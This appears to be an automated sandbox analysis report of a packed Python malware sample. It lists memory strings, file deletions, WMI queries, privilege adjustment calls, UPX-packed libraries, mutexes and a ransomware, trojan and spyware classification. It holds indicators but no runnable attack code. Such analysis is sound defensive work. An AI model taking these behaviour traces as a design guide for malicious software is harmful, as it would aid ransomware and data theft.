Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327152682.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1770691400.00007FF8E6E27000.00000004.00000001.01000000.0000000F.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772036219.00007FF8E7353000.00000004.00000001.01000000.00000010.sdmp, libssl-1_1.dll.0.dr, libcrypto-1_1.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764313337.00000161965B0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1774041313.00007FF8E79F8000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197F34000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.00000161970A9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372221043.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1385557647.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765347451.00000161970AE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1762649587.00000161970AC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766262615.000001619731F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.0000016197320000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459659839.00000161970B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ? \Common Files\Desktop\ZBEDCJPBEY.mp3	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ? \Common Files\Desktop\HTAGVDFUIE.jpg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ? \Common Files\Desktop\HTAGVDFUIE.jpg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ? \Common Files\Desktop\NHPKIZUUSG.jpg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ? \Common Files\Desktop\FACWLRWHGG.docx	Jump to behavior

Source: cmd.exe

Process created: 54

System Summary

Very long command line found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2D3A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

72_2_00007FF71D2D3A70

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2FB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

72_2_00007FF71D2FB57C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1116950	0_2_00007FF7B1116950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F7950	0_2_00007FF7B10F7950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C	0_2_00007FF7B110842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F9B8B	0_2_00007FF7B10F9B8B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B111789C	0_2_00007FF7B111789C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1108278	0_2_00007FF7B1108278
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1102270	0_2_00007FF7B1102270
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110EA90	0_2_00007FF7B110EA90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110AA10	0_2_00007FF7B110AA10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1102474	0_2_00007FF7B1102474
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B11124C4	0_2_00007FF7B11124C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1103CC0	0_2_00007FF7B1103CC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1108CB0	0_2_00007FF7B1108CB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1114CFC	0_2_00007FF7B1114CFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1106510	0_2_00007FF7B1106510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1103330	0_2_00007FF7B1103330
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1117350	0_2_00007FF7B1117350
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1116BCC	0_2_00007FF7B1116BCC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1101E60	0_2_00007FF7B1101E60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1102680	0_2_00007FF7B1102680
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F9D2B	0_2_00007FF7B10F9D2B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1111518	0_2_00007FF7B1111518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10FA55D	0_2_00007FF7B10FA55D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C	0_2_00007FF7B110842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110E5FC	0_2_00007FF7B110E5FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B111A5D8	0_2_00007FF7B111A5D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1102064	0_2_00007FF7B1102064
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1114860	0_2_00007FF7B1114860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1102884	0_2_00007FF7B1102884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B1111518	0_2_00007FF7B1111518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B11040C4	0_2_00007FF7B11040C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F90C0	0_2_00007FF7B10F90C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110F110	0_2_00007FF7B110F110
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E7518268	2_2_00007FF8E7518268
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E754F81C	2_2_00007FF8E754F81C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E7545CE0	2_2_00007FF8E7545CE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E7542FF0	2_2_00007FF8E7542FF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E75453A0	2_2_00007FF8E75453A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E7541BB0	2_2_00007FF8E7541BB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886B63027	9_2_00007FF886B63027
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DAE10	72_2_00007FF71D2DAE10
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C0A2C	72_2_00007FF71D2C0A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E7B24	72_2_00007FF71D2E7B24
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BABA0	72_2_00007FF71D2BABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BB540	72_2_00007FF71D2BB540
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B1884	72_2_00007FF71D2B1884
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B82F0	72_2_00007FF71D2B82F0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C1180	72_2_00007FF71D2C1180
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C54C0	72_2_00007FF71D2C54C0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2FAE50	72_2_00007FF71D2FAE50
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30FE74	72_2_00007FF71D30FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BCE84	72_2_00007FF71D2BCE84
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C8E68	72_2_00007FF71D2C8E68
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2FEEA4	72_2_00007FF71D2FEEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2EAF0C	72_2_00007FF71D2EAF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B9EFC	72_2_00007FF71D2B9EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E0D20	72_2_00007FF71D2E0D20
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F9D74	72_2_00007FF71D2F9D74
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D301DCC	72_2_00007FF71D301DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BEE08	72_2_00007FF71D2BEE08
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C1E04	72_2_00007FF71D2C1E04
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E8040	72_2_00007FF71D2E8040
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C3030	72_2_00007FF71D2C3030
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E0074	72_2_00007FF71D2E0074
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DC05C	72_2_00007FF71D2DC05C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3100F0	72_2_00007FF71D3100F0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D0104	72_2_00007FF71D2D0104
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E5F4C	72_2_00007FF71D2E5F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D31AF90	72_2_00007FF71D31AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D31DFD8	72_2_00007FF71D31DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2EC00C	72_2_00007FF71D2EC00C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F4FE8	72_2_00007FF71D2F4FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F5A70	72_2_00007FF71D2F5A70
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2EFA6C	72_2_00007FF71D2EFA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BCB14	72_2_00007FF71D2BCB14
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D31AAC0	72_2_00007FF71D31AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2ED91C	72_2_00007FF71D2ED91C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DD97C	72_2_00007FF71D2DD97C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B49B8	72_2_00007FF71D2B49B8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F69FD	72_2_00007FF71D2F69FD
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C8C30	72_2_00007FF71D2C8C30
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F5C8C	72_2_00007FF71D2F5C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D9D0C	72_2_00007FF71D2D9D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D306D0C	72_2_00007FF71D306D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BDD04	72_2_00007FF71D2BDD04
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F4B38	72_2_00007FF71D2F4B38
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D309B98	72_2_00007FF71D309B98
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D307660	72_2_00007FF71D307660
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C86C4	72_2_00007FF71D2C86C4
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2EA710	72_2_00007FF71D2EA710
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F0710	72_2_00007FF71D2F0710
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F2700	72_2_00007FF71D2F2700
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3186D4	72_2_00007FF71D3186D4
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DF5B0	72_2_00007FF71D2DF5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2EF59C	72_2_00007FF71D2EF59C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C8598	72_2_00007FF71D2C8598
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30260C	72_2_00007FF71D30260C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E65FC	72_2_00007FF71D2E65FC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C2890	72_2_00007FF71D2C2890
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B8884	72_2_00007FF71D2B8884
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3018A8	72_2_00007FF71D3018A8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F190C	72_2_00007FF71D2F190C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E0904	72_2_00007FF71D2E0904
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E38E8	72_2_00007FF71D2E38E8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C17C8	72_2_00007FF71D2C17C8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D67E0	72_2_00007FF71D2D67E0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BF24C	72_2_00007FF71D2BF24C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D7244	72_2_00007FF71D2D7244
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2CE21C	72_2_00007FF71D2CE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D302268	72_2_00007FF71D302268
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2CD2C0	72_2_00007FF71D2CD2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F02A4	72_2_00007FF71D2F02A4
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D301314	72_2_00007FF71D301314
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2B42E0	72_2_00007FF71D2B42E0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F2164	72_2_00007FF71D2F2164
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F81CC	72_2_00007FF71D2F81CC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3141CC	72_2_00007FF71D3141CC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2F5468	72_2_00007FF71D2F5468
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DD458	72_2_00007FF71D2DD458
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2BA504	72_2_00007FF71D2BA504
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30832C	72_2_00007FF71D30832C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2E0374	72_2_00007FF71D2E0374
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2C2360	72_2_00007FF71D2C2360
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2DC3E0	72_2_00007FF71D2DC3E0

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: String function: 00007FF71D2C8444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: String function: 00007FF71D2F49F4 appears 53 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: String function: 00007FF8E751E4D8 appears 79 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: String function: 00007FF7B10F2B10 appears 47 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: String function: 00007FF8E751E338 appears 50 times

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9985088531464251
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9920135147270115
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993315999451067
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9977988591269841
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9943153231216458

Source: R9FJX.zip.72.dr

Binary or memory string: )x.sLnp4

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@144/56@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B10F8560 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF7B10F8560

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2CEF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		72_2_00007FF71D2CEF50
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2FB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		72_2_00007FF71D2FB57C

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2D3144 GetDiskFreeSpaceExW,

72_2_00007FF71D2D3144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:688:120:WilError_03
